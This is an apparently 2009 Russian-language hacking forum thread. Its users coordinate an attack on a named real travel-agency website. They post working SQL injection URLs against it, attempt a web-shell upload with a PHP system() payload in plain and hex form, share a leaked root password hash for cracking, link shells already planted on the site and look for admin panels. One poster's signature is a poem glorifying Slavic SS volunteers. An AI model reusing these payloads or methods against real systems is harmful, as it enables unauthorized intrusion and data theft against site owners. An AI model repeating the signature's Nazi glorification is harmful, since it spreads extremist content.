01.12.2009, 15:10
|
|
Познающий
Регистрация: 22.08.2009
Сообщений: 98
С нами:
8799871
Репутация:
19
|
|
Сообщение от wkar
Здравствуйте.
1.Подскажите пожалуйста, есть сайт с инъекцией http://www.terratour.ru/ru/pages.php?pg=-9+UNION+SELECT+1,2,3,4,5,6--
Как можно залить шелл?
http://www.terratour.ru/ru/pages.php?pg=-9+UNION+SELECT+1,'<? php system($_GET[cmd]); ?>',3,4,5,6 INTO OUTFILE 'D:/www/shell.php'-- ничего не получается
http://www.terratour.ru/ru/pages.php?pg=-9+UNION+SELECT+1,0x3c3f207068702073797374656d2 8245f4745545b636d645d293b203f3e,3,4,5,6 INTO OUTFILE 'D:/www/shell.php' так же них нету
кавычки экранируются. Облом с аутфайлом в общем.
Можешь хеш расшифровать к юзеру рут =)
root:C705FA72189D628A3657C885B0668778976F72E4
Последний раз редактировалось p.r0phe.t; 01.12.2009 в 15:27..
|
|
|
01.12.2009, 15:13
|
|
Познающий
Регистрация: 18.10.2009
Сообщений: 80
С нами:
8718197
Репутация:
11
|
|
Сообщение от p.r0phe.t
кавычки экранируются. Да и file_priv=n помоему. Облом с аутфайлом в общем.
Можешь хеш расшифровать к юзеру рут =)
root:C705FA72189D628A3657C885B0668778976F72E4
спс, а сам запрос верно написал?
|
|
|
|
01.12.2009, 16:10
|
|
Познающий
Регистрация: 18.10.2009
Сообщений: 80
С нами:
8718197
Репутация:
11
|
|
Сообщение от l1ght
скуля, это конечно хорошо, но не запароленный пма под рутом гораздо юзабильнее
(без пробелов)
terratour.ru/ru/shell.system.eval.select.backconnect.root.hacker.e xploit.findme.download.free.porn.c99.wso2.2009.JpG .pHp
Спасибо, если можно разъясните что такое пма, или ссылку дайте.
|
|
|
|
01.12.2009, 16:23
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами:
9030566
Репутация:
2017
|
|
Сообщение от l1ght
скуля, это конечно хорошо, но не запароленный пма под рутом гораздо юзабильнее
http://terratour.ru/ru/turkhackteam.php
а ну эти линки на шеллы, через 5-30 секунд умирают)
я не вкурил какие линки на шеллы? О_о у меня до сих пор все живое))уже как 1 час гдето
PSSSS самое прикольное что там RFI\LFI по сути))))тока там отключенно удаленное(забыл как она называется, сбудуна просто сижу, экз сдал  )
в 3.4.6 колонках если 0xhex вставить то инклудь что хочеш на нем, тока есть косяка / поэтому в 3 колонке hex путей а в 4 уже hex файла ))
http://www.terratour.ru/ru/pages.php?pg=-9+UNION+SELECT+1,2,0x443a5c7777775c7275,0x70616765 732e706870,5,6
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
Последний раз редактировалось HAXTA4OK; 01.12.2009 в 16:28..
|
|
|
|
01.12.2009, 16:37
|
|
Познающий
Регистрация: 22.08.2009
Сообщений: 98
С нами:
8799871
Репутация:
19
|
|
Сообщение от HAXTA4OK
По соображениям Light'a выложу))
http://www.terratour.ru/ru/img/2.php?a=phpinfo();  так где там админка не запороленая? =)
|
|
|
|
01.12.2009, 16:43
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами:
9030566
Репутация:
2017
|
|
Сообщение от p.r0phe.t
так где там админка не запороленая? =)
выложить можно , но опасно и не буду, ибо там все просто, надо тока знать имя папки получается,и умееш ли ты с ним работать?
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
|
|
|
|
01.12.2009, 16:46
|
|
Познающий
Регистрация: 22.08.2009
Сообщений: 98
С нами:
8799871
Репутация:
19
|
|
Сообщение от HAXTA4OK
выложить можно , но опасно и не буду, ибо там все просто, надо тока знать имя папки получается,и умееш ли ты с ним работать? хм.
/ru/admin
/em/admin
не открывает ,хотя маднет кричит что они есть =)
а как ни странно
en/admin,которой в маднете нет, выдаёт окно для ввода логина/паса,но она запаролена
просвети,буду уметь работать )
|
|
|
|
01.12.2009, 16:47
|
|
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
С нами:
8728261
Репутация:
211
|
|
Сообщение от HAXTA4OK
выложить можно , но опасно и не буду, ибо там все просто, надо тока знать имя папки получается,и умееш ли ты с ним работать? ну вот админка но она запаролена...
http://www.terratour.ru/ru/login/login.php
|
|
|
|
01.12.2009, 15:20
|
|
Познающий
Регистрация: 20.10.2009
Сообщений: 38
С нами:
8715864
Репутация:
5
|
|
что можно с этим сделать?
Fatal error: Allowed memory size of 8388608 bytes exhausted (tried to allocate 3699224 bytes) in /home/gamer/public_html/messages.php on line 411
|
|
|
|
01.12.2009, 15:21
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
С нами:
9223466
Репутация:
3171
|
|
Сообщение от Totgeliebt
что можно с этим сделать?
Fatal error: Allowed memory size of 8388608 bytes exhausted (tried to allocate 3699224 bytes) in /home/gamer/public_html/messages.php on line 411
Ну теперь ты знаеш полный путь.
А это переполнение разрешенной памяти вроде 
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
